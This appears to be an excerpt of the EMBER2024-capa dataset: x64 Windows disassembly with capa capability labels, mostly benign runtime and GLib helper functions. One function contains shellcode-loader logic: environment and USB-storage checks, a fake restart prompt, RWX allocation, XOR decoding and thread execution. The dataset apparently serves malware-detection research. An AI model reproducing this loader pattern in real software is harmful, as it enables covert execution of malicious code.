joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000169f0
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x10001e100]
jne 0x100016a0b
rol rcx, 0x10
test cx, 0xffff
jne 0x100016a07
ret 0
ror rcx, 0x10
jmp 0x100016edc
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x10001e4d0]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov r11, qword [0x10001e5c8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.ntdll.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x100016f61
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x10001e4d0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.ntdll.dll_RtlVirtualUnwind
jmp 0x100016f83
mov rax, qword [rsp + 0x88]
mov qword [0x10001e5c8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x10001e568], rax
mov rax, qword [0x10001e5c8]
mov qword [0x10001e440], rax
mov rax, qword [rsp + 0x90]
mov qword [0x10001e550], rax
mov dword [0x10001e430], 0xc0000409
mov dword [0x10001e434], 1
mov rax, qword [0x10001e100]
mov qword [rsp + 0x68], rax
mov rax, qword [0x10001e108]
mov qword [rsp + 0x70], rax
xor ecx, ecx
call qword [sym.imp.API_MS_Win_Core_ErrorHandling_L1_1_0.dll_SetUnhandledExceptionFilter]
lea rcx, [0x100001610]
call qword [sym.imp.API_MS_Win_Core_ErrorHandling_L1_1_0.dll_UnhandledExceptionFilter]
call qword [sym.imp.API_MS_Win_Core_ProcessThreads_L1_1_0.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.API_MS_Win_Core_ProcessThreads_L1_1_0.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x100016d78
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x100016dc5
cmp rcx, 0xffffffffffffffff
je 0x100016dc5
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x100016dbd
cmp dword [rcx + 0x3c], edx
jl 0x100016dbd
cmp dword [rcx + 0x3c], 0x10000000
jae 0x100016dbd
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x100016dc5
mov rax, rdx
add rsp, 0x18
ret

Function at 0x100017034
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x530
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x10001709f
and qword [rsp + 0x38], 0
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x50]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov r8, rbx
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlVirtualUnwind]
jmp 0x1000170bf
mov rax, qword [rsp + 0x538]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x538]
mov qword [rsp + 0xf8], rax
lea rcx, [0x100001620]
call qword [entry0]
add rsp, 0x530
pop rbx
ret
Function at 0x1000177d8
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xd0
mov rax, qword [0x10001e100]
xor rax, rsp
mov qword [rsp + 0xc0], rax
xor edx, edx
mov rbx, rcx
lea r8d, [rdx + 0x28]
add rcx, r8
call sub.msvcrt.dll_memset
and qword [rbx + 0x50], 0
and dword [rbx + 0x58], 0
and dword [rbx + 0x5c], 0
lea rax, [0x100000000]
mov esi, 0x94
lea rcx, [rsp + 0x20]
mov r8, rsi
xor edx, edx
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], rax
mov dword [rbx], 0x60
mov byte [rbx + 0x18], 0
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], esi
call qword [sym.imp.API_MS_Win_Core_SysInfo_L1_1_0.dll_GetVersionExA]
cmp dword [rsp + 0x30], 2
mov esi, 1
jne 0x10001786b
cmp dword [rsp + 0x24], 5
jb 0x100017885
jmp 0x100017881
cmp dword [rsp + 0x30], esi
jne 0x100017885
cmp dword [rsp + 0x24], 4
ja 0x100017881
jne 0x100017885
cmp dword [rsp + 0x28], 0
jbe 0x100017885
mov byte [rbx + 0x18], sil
lea rax, [0x100001768]
lea rcx, [rbx + 0x28]
mov dword [rbx + 0x1c], 0x800
mov qword [rbx + 0x20], rax
call fcn.100005b6c
movzx ecx, byte [0x10001eba0]
test eax, eax
mov rax, rbx
cmovs ecx, esi
mov byte [0x10001eba0], cl
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1000169f0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140005440]
mov dword [rax], 1
mov rax, qword [0x140005450]
mov dword [rax], 1
mov rax, qword [0x140005460]
mov dword [rax], 1
mov rax, qword [0x1400053c0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001a30
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140002702
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140009168]
test eax, eax
je 0x14000279a
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140009170]
mov qword [rbp - 8], rax
jmp 0x14000277e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002772
cmp qword [rbp - 0x10], 0
je 0x140002772
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002738
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000279b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x1400028a0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400028c8
mov eax, 0
jmp 0x140002916
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400028f1
mov eax, 0
jmp 0x140002916
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002911
mov eax, 0
jmp 0x140002916
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x14000291c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14000299a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002991
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002991
mov rax, qword [rbp - 8]
jmp 0x1400029af
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002964
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x340
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x330], rax
mov ecx, 0x409
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetDynamicTimeZoneInformation]
lea r8, [rsp + 0x11c]
mov edx, 0x80
lea rax, [rsp + 0x220]
sub r8, rax
lea rcx, [rsp + 0x220]
lea rax, [rdx + 0x7fffff7e]
test rax, rax
je 0x140001074
movzx eax, word [r8 + rcx]
test ax, ax
je 0x140001074
mov word [rcx], ax
add rcx, 2
sub rdx, 1
jne 0x140001051
lea rax, [rcx - 2]
test rdx, rdx
cmovne rax, rcx
xor ebx, ebx
lea rcx, [rsp + 0x220]
mov word [rax], bx
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, [0x140003470]
lea rcx, [rsp + 0x220]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x1400011aa
lea rax, [rsp + 0x60]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMControlSet001EnumUSBSTOR
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x58], rbx
xor r9d, r9d
mov qword [rsp + 0x50], rbx
xor r8d, r8d
mov qword [rsp + 0x48], rbx
xor edx, edx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
cmp dword [rsp + 0x68], 1
jb 0x1400011aa
mov r9d, 3
lea r8, str.Restart_required
lea rdx, str.Do_you_want_to_restart_your_computer_now_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
je 0x1400011aa
mov edx, 1
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, [0x1400032a0]
movzx ecx, cl
movzx edx, byte [rcx]
mov rcx, rax
mov byte [rax], dl
mov edx, ebx
xor byte [rcx], 0x35
lea rcx, [rcx + 1]
inc edx
cmp edx, 1
jb 0x140001170
lea rcx, [rsp + 0x6c]
xor r9d, r9d
mov qword [rsp + 0x28], rcx
mov r8, rax
xor ecx, ecx
mov dword [rsp + 0x20], ebx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x330]
xor rcx, rsp
call fcn.1400011e0
add rsp, 0x340
pop rbx
ret

Function at 0x140001aa8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001af2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001af2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001af2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001af2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001af2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001af4
xor al, al
add rsp, 0x28
ret
Function at 0x1800010a0
Capabilities:
Move file

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x60]
call sub.libglib_2.0_0.dll_g_utf8_to_utf16
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x3c], 0
cmp qword [rsp + 0x30], 0
jne 0x1800010f7
call qword [sym.imp.MSVCR100.dll__errno]
mov dword [rax], 0x16
mov eax, 0xffffffff
jmp 0x18000122b
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call sub.libglib_2.0_0.dll_g_utf8_to_utf16
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x180001142
mov rcx, qword [rsp + 0x30]
call sub.libglib_2.0_0.dll_g_free
call qword [sym.imp.MSVCR100.dll__errno]
mov dword [rax], 0x16
mov eax, 0xffffffff
jmp 0x18000122b
mov r8d, 1
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x180001169
mov dword [rsp + 0x38], 0
jmp 0x180001207
mov dword [rsp + 0x38], 0xffffffff
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
sub eax, 2
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0xb5
ja case.0x1800011ad.4
mov eax, dword [rsp + 0x48]
lea rcx, [0x180000000]
movzx eax, byte [rcx + rax + 0x1254]
mov eax, dword [rcx + rax*4 + 0x1230]
add rax, rcx
jmp rax
mov dword [rsp + 0x3c], 2
jmp 0x180001207
mov dword [rsp + 0x3c], 2
jmp 0x180001207
mov dword [rsp + 0x3c], 0xd
jmp 0x180001207
mov dword [rsp + 0x3c], 0x12
jmp 0x180001207
mov dword [rsp + 0x3c], 0xd
jmp 0x180001207
mov dword [rsp + 0x3c], 0xd
jmp 0x180001207
mov dword [rsp + 0x3c], 0x11
jmp 0x180001207
mov dword [rsp + 0x3c], 0x11
jmp 0x180001207
mov dword [rsp + 0x3c], 5
mov rcx, qword [rsp + 0x30]
call sub.libglib_2.0_0.dll_g_free
mov rcx, qword [rsp + 0x40]
call sub.libglib_2.0_0.dll_g_free
call qword [sym.imp.MSVCR100.dll__errno]
mov ecx, dword [rsp + 0x3c]
mov dword [rax], ecx
mov eax, dword [rsp + 0x38]
add rsp, 0x58
ret

Function at 0x180001310
Capabilities:
Create directory

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x50]
call sub.libglib_2.0_0.dll_g_utf8_to_utf16
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x18000135b
call qword [sym.imp.MSVCR100.dll__errno]
mov dword [rax], 0x16
mov eax, 0xffffffff
jmp 0x180001390
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.MSVCR100.dll__wmkdir]
mov dword [rsp + 0x38], eax
call qword [sym.imp.MSVCR100.dll__errno]
mov eax, dword [rax]
mov dword [rsp + 0x3c], eax
mov rcx, qword [rsp + 0x30]
call sub.libglib_2.0_0.dll_g_free
call qword [sym.imp.MSVCR100.dll__errno]
mov ecx, dword [rsp + 0x3c]
mov dword [rax], ecx
mov eax, dword [rsp + 0x38]
add rsp, 0x48
ret
Function at 0x180001550
Capabilities:
Delete directory
Delete file

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x50]
call sub.libglib_2.0_0.dll_g_utf8_to_utf16
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x180001597
call qword [sym.imp.MSVCR100.dll__errno]
mov dword [rax], 0x16
mov eax, 0xffffffff
jmp 0x1800015e2
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.MSVCR100.dll__wremove]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0xffffffff
jne 0x1800015bc
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.MSVCR100.dll__wrmdir]
mov dword [rsp + 0x38], eax
call qword [sym.imp.MSVCR100.dll__errno]
mov eax, dword [rax]
mov dword [rsp + 0x3c], eax
mov rcx, qword [rsp + 0x30]
call sub.libglib_2.0_0.dll_g_free
call qword [sym.imp.MSVCR100.dll__errno]
mov ecx, dword [rsp + 0x3c]
mov dword [rax], ecx
mov eax, dword [rsp + 0x38]
add rsp, 0x48
ret

Function at 0x1800017d0
Capabilities:
Set current directory

Disassembly:
sub rsp, 0x58
mov dword [rsp + 0x30], 0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.SetDllDirectoryW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x180001815
lea rcx, [0x18000d3b0]
call qword [rsp + 0x40]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jne 0x18000185f
call fcn.180001870
test eax, eax
je 0x18000185f
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xffffffff
mov rcx, qword [0x18000d3a0]
call sub.libglib_2.0_0.dll_g_utf8_to_utf16
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov rcx, qword [rsp + 0x38]
call sub.libglib_2.0_0.dll_g_free
mov eax, dword [rsp + 0x30]
add rsp, 0x58
ret
Function at 0x180001870
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x268
mov rax, qword [0x18000d380]
xor rax, rsp
mov qword [rsp + 0x258], rax
cmp qword [0x18000d3a0], 0
je 0x1800018a7
cmp qword [0x18000d3a8], 0
je 0x1800018a7
mov eax, 1
jmp 0x180001985
mov r8d, 0x104
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1800018c9
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1800018d0
xor eax, eax
jmp 0x180001985
cmp qword [0x18000d3a0], 0
jne 0x180001921
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xffffffff
lea rcx, [rsp + 0x40]
call sub.libglib_2.0_0.dll_g_utf16_to_utf8
mov qword [rsp + 0x250], rax
mov rcx, qword [rsp + 0x250]
call sub.libglib_2.0_0.dll_g_path_get_dirname
mov qword [0x18000d3a0], rax
mov rcx, qword [rsp + 0x250]
call sub.libglib_2.0_0.dll_g_free
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x180001939
xor eax, eax
jmp 0x180001985
cmp qword [0x18000d3a8], 0
jne 0x180001968
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xffffffff
lea rcx, [rsp + 0x40]
call sub.libglib_2.0_0.dll_g_utf16_to_utf8
mov qword [0x18000d3a8], rax
cmp qword [0x18000d3a0], 0
je 0x180001983
cmp qword [0x18000d3a8], 0
je 0x180001983
mov eax, 1
jmp 0x180001985
xor eax, eax
mov rcx, qword [rsp + 0x258]
xor rcx, rsp
call fcn.180008980
add rsp, 0x268
ret

Function at 0x180001bb0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.MSVCR100.dll_getenv]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x60]
call sub.libglib_2.0_0.dll_g_utf8_to_utf16
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x180001bfb
mov rax, qword [rsp + 0x30]
jmp 0x180001c4c
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCR100.dll__wgetenv]
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x40]
call sub.libglib_2.0_0.dll_g_free
cmp qword [rsp + 0x38], 0
jne 0x180001c24
mov rax, qword [rsp + 0x30]
jmp 0x180001c4c
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x38]
call sub.libglib_2.0_0.dll_g_utf16_to_utf8
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
add rsp, 0x58
ret

Function at 0x180003400
Capabilities:
Hash data with crc32

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov eax, dword [rsp + 0x30]
mov dword [rsp + 4], eax
mov dword [rsp], 0
jmp 0x18000342b
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov eax, dword [rsp + 0x28]
cmp dword [rsp], eax
jae 0x180003468
mov eax, dword [rsp]
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax]
mov ecx, dword [rsp + 4]
xor ecx, eax
mov eax, ecx
and eax, 0xff
mov eax, eax
lea rcx, [0x18000a7c0]
mov edx, dword [rsp + 4]
shr edx, 8
mov eax, dword [rcx + rax*4]
xor eax, edx
mov dword [rsp + 4], eax
jmp 0x180003423
mov eax, dword [rsp + 4]
not eax
add rsp, 0x18
ret
Function at 0x1800035e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x20], r9
mov byte [rsp + 0x18], r8b
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x18
movzx eax, byte [rsp + 0x30]
mov byte [rsp], al
mov eax, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
dec ecx
mov dword [rsp + 0x28], ecx
test eax, eax
jbe 0x18000363c
mov rax, qword [rsp + 0x20]
movzx eax, byte [rax]
movzx ecx, byte [rsp]
xor eax, ecx
cdqe
mov rcx, qword [rsp + 0x38]
movzx eax, byte [rcx + rax]
mov byte [rsp], al
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
jmp 0x1800035ff
movzx eax, byte [rsp]
add rsp, 0x18
ret

Function at 0x180003a40
Capabilities:
Query service status

Disassembly:
sub rsp, 0x68
mov rax, qword [0x18000d380]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x180003a71
xor eax, eax
jmp 0x180003ac2
mov r8d, 5
lea rdx, [0x18000d080]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x180003a9a
xor eax, eax
jmp 0x180003ac2
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x180003ac0
mov eax, dword [rsp + 0x3c]
and eax, 4
test eax, eax
je 0x180003ac0
mov eax, 1
jmp 0x180003ac2
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180008980
add rsp, 0x68
ret
Function at 0x180006b10
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rsp + 0x3c]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x180006b9d
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x3c], eax
jne 0x180006b9d
mov dword [rsp + 0x38], 0
jmp 0x180006b5c
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x38], eax
jge 0x180006b9d
movsxd rax, dword [rsp + 0x38]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rcx + rax*8]
call sub.libglib_2.0_0.dll_g_utf16_to_utf8
movsxd rcx, dword [rsp + 0x38]
mov rdx, qword [rsp + 0x58]
mov qword [rdx + rcx*8], rax
jmp 0x180006b52
add rsp, 0x48
ret